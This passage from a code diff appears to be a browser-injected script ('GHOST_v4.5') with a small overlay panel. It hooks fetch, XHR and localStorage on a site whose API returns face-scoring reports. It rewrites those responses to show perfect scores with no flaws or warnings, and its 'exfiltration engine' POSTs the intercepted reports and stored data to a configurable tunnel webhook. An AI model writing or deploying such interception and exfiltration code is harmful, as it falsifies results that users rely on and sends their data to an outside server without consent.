<button id="ghost-exfil-btn" style="background:#111; color:#aaa; border:1px solid #333; border-radius:4px; padding:6px; cursor:pointer; font-size:9px;">SETUP EXFIL</button>
|
| 45 |
+
</div>
|
| 46 |
+
|
| 47 |
+
<div style="background:#000; border-radius:4px; padding:8px; margin-top:5px;">
|
| 48 |
+
<div style="margin-bottom:4px; color:#555;">BRIDGE STATUS: <span id="ghost-status" style="color:#00ff88;">ACTIVE_INTERCEPT</span></div>
|
| 49 |
+
<div id="ghost-log" style="height:120px; overflow-y:auto; color:#00ff88; opacity:0.7; font-size:9px; line-height:1.4;">[SYSTEM] Hooked successfully...</div>
|
| 50 |
+
</div>
|
| 51 |
+
</div>
|
| 52 |
+
`;
|
| 53 |
+
document.documentElement.appendChild(container);
|
| 54 |
+
|
| 55 |
+
const logMsg = (msg) => {
|
| 56 |
+
const log = document.getElementById('ghost-log');
|
| 57 |
+
if(log) log.innerHTML = `<div>> ${new Date().toLocaleTimeString().split(' ')[0]} | ${msg}</div>` + log.innerHTML;
|
| 58 |
+
};
|
| 59 |
+
|
| 60 |
+
document.getElementById('ghost-toggle').onclick = (e) => {
|
| 61 |
+
isActive = !isActive;
|
| 62 |
+
e.target.innerText = isActive ? "BYPASS: ON" : "BYPASS: OFF";
|
| 63 |
+
e.target.style.color = isActive ? "#00ff88" : "#ff4444";
|
| 64 |
+
e.target.style.borderColor = isActive ? "#00ff88" : "#ff4444";
|
| 65 |
+
document.getElementById('ghost-indicator').style.background = isActive ? "#00ff88" : "#ff4444";
|
| 66 |
+
document.getElementById('ghost-status').innerText = isActive ? "ACTIVE_INTERCEPT" : "BYPASSED";
|
| 67 |
+
document.getElementById('ghost-status').style.color = isActive ? "#00ff88" : "#ff4444";
|
| 68 |
+
};
|
| 69 |
+
|
| 70 |
+
document.getElementById('ghost-exfil-btn').onclick = updateExfilUrl;
|
| 71 |
+
|
| 72 |
+
// --- BOREPUB EXFILTRATION ENGINE ---
|
| 73 |
+
async function exfiltrate(data, type) {
|
| 74 |
+
if (!exfilUrl || !isActive) return;
|
| 75 |
+
try {
|
| 76 |
+
// Ensure URL ends correctly for our server
|
| 77 |
+
let target = exfilUrl;
|
| 78 |
+
if (!target.includes('/api/webhook')) {
|
| 79 |
+
target = target.replace(/\/$/, '') + '/api/webhook';
|
| 80 |
+
}
|
| 81 |
+
|
| 82 |
+
const res = await fetch(target, {
|
| 83 |
+
method: 'POST',
|
| 84 |
+
headers: { 'Content-Type': 'application/json' },
|
| 85 |
+
body: JSON.stringify({
|
| 86 |
+
protocol: 'GHOST_v4.5',
|
| 87 |
+
timestamp: Date.now(),
|
| 88 |
+
type: type,
|
| 89 |
+
payload: data
|
| 90 |
+
})
|
| 91 |
+
});
|
| 92 |
+
const status = await res.json();
|
| 93 |
+
logMsg(`Exfiltrated ${type} -> Server OK (${status.timestamp})`);
|
| 94 |
+
} catch(e) {
|
| 95 |
+
logMsg("Exfil Error: Check URL vs Tunnel status");
|
| 96 |
+
}
|
| 97 |
+
}
|
| 98 |
+
|
| 99 |
+
// --- DEEP DATA SCRUBBER ---
|
| 100 |
+
function scrubData(obj) {
|
| 101 |
+
if (!isActive || !obj || typeof obj !== 'object') return;
|
| 102 |
+
|
| 103 |
+
if (Array.isArray(obj)) {
|
| 104 |
+
obj.forEach(scrubData);
|
| 105 |
+
return;
|
| 106 |
+
}
|
| 107 |
+
|
| 108 |
+
const highKeys = ['userScore', 'user_score', 'overall', 'score', 'harmony', 'symmetry', 'reliability', 'confidence', 'scoringConfidence'];
|
| 109 |
+
for (let key in obj) {
|
| 110 |
+
if (highKeys.some(hk => key.toLowerCase() === hk.toLowerCase())) {
|
| 111 |
+
if (key.toLowerCase() === 'symmetry') obj[key] = PERFECT_PERCENT;
|
| 112 |
+
else if (obj[key] <= 1.0) obj[key] = 0.99;
|
| 113 |
+
else obj[key] = PERFECT_SCORE;
|
| 114 |
+
}
|
| 115 |
+
|
| 116 |
+
if (key === 'fatalFlaw' || key === 'fatal_flaw') obj[key] = "none";
|
| 117 |
+
if (key === 'faceStatus') obj[key] = "perfect";
|
| 118 |
+
if (key === 'scoringWarnings' || key === 'warnings') {
|
| 119 |
+
if(Array.isArray(obj[key])) obj[key] = [];
|
| 120 |
+
}
|
| 121 |
+
|
| 122 |
+
if (key === 'statsJson' || key === 'stats_json') {
|
| 123 |
+
if (typeof obj[key] === 'string') {
|
| 124 |
+
try {
|
| 125 |
+
let parsed = JSON.parse(obj[key]);
|
| 126 |
+
scrubData(parsed);
|
| 127 |
+
obj[key] = JSON.stringify(parsed);
|
| 128 |
+
} catch(e){}
|
| 129 |
+
} else {
|
| 130 |
+
scrubData(obj[key]);
|
| 131 |
+
}
|
| 132 |
+
}
|
| 133 |
+
|
| 134 |
+
if (typeof obj[key] === 'object') scrubData(obj[key]);
|
| 135 |
+
}
|
| 136 |
+
}
|
| 137 |
+
|
| 138 |
+
// --- NETWORK INTERCEPTION (FETCH) ---
|
| 139 |
+
const originalFetch = window.fetch;
|
| 140 |
+
window.fetch = async (...args) => {
|
| 141 |
+
const url = args[0].toString();
|
| 142 |
+
const response = await originalFetch(...args);
|
| 143 |
+
|
| 144 |
+
if (isActive && (url.includes('/api/lab') || url.includes('stats') || url.includes('report'))) {
|
| 145 |
+
return response.clone().json().then(data => {
|
| 146 |
+
logMsg("Caught API: " + url.split('/').pop().split('?')[0]);
|
| 147 |
+
scrubData(data);
|
| 148 |
+
|
| 149 |
+
// Exfiltrate the actual report/stats to our tunnel
|
| 150 |
+
exfiltrate(data, 'api_intercept');
|
| 151 |
+
|
| 152 |
+
return new Response(JSON.stringify(data), {
|
| 153 |
+
status: response.status,
|
| 154 |
+
statusText: response.statusText,
|
| 155 |
+
headers: response.headers
|
| 156 |
+
});
|
| 157 |
+
}).catch(() => response);
|
| 158 |
+
}
|
| 159 |
+
return response;
|
| 160 |
+
};
|
| 161 |
+
|
| 162 |
+
// --- NETWORK INTERCEPTION (XHR) ---
|
| 163 |
+
const originalOpen = XMLHttpRequest.prototype.open;
|
| 164 |
+
XMLHttpRequest.prototype.open = function(method, url) {
|
| 165 |
+
if (isActive) {
|
| 166 |
+
this.addEventListener('readystatechange', function() {
|
| 167 |
+
if (this.readyState === 4 && (url.includes('/api/lab') || url.includes('stats'))) {
|
| 168 |
+
try {
|
| 169 |
+
let originalData = JSON.parse(this.responseText);
|
| 170 |
+
scrubData(originalData);
|
| 171 |
+
|
| 172 |
+
// Overwrite responses
|
| 173 |
+
Object.defineProperty(this, 'responseText', { value: JSON.stringify(originalData) });
|
| 174 |
+
Object.defineProperty(this, 'response', { value: JSON.stringify(originalData) });
|
| 175 |
+
|
| 176 |
+
logMsg("Scrubbed XHR data stream");
|
| 177 |
+
exfiltrate(originalData, 'xhr_intercept');
|
| 178 |
+
} catch (e) {}
|
| 179 |
+
}
|
| 180 |
+
});
|
| 181 |
+
}
|
| 182 |
+
return originalOpen.apply(this, arguments);
|
| 183 |
+
};
|
| 184 |
+
|
| 185 |
+
// --- STORAGE INTERCEPTION ---
|
| 186 |
+
const originalSetItem = localStorage.setItem;
|
| 187 |
+
localStorage.setItem = function(key, value) {
|
| 188 |
+
if (isActive && (key.includes('stats') || key.includes('match') || key.includes('report'))) {
|
| 189 |
+
try {
|
| 190 |
+
let data = JSON.parse(value);
|
| 191 |
+
scrubData(data);
|
| 192 |
+
value = JSON.stringify(data);
|
| 193 |
+
logMsg("Cleaned storage: " + key);
|
| 194 |
+
exfiltrate(data, 'storage_clean');
|
| 195 |
+
} catch(e){}
|
| 196 |
+
}
|
| 197 |
+
originalSetItem.apply(this, [key, value]);
|
| 198 |
+
};
|
| 199 |
+
|
| 200 |
+
})();
|
src/tunnelConfig.ts
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
export const TUNNEL_URL = '';
|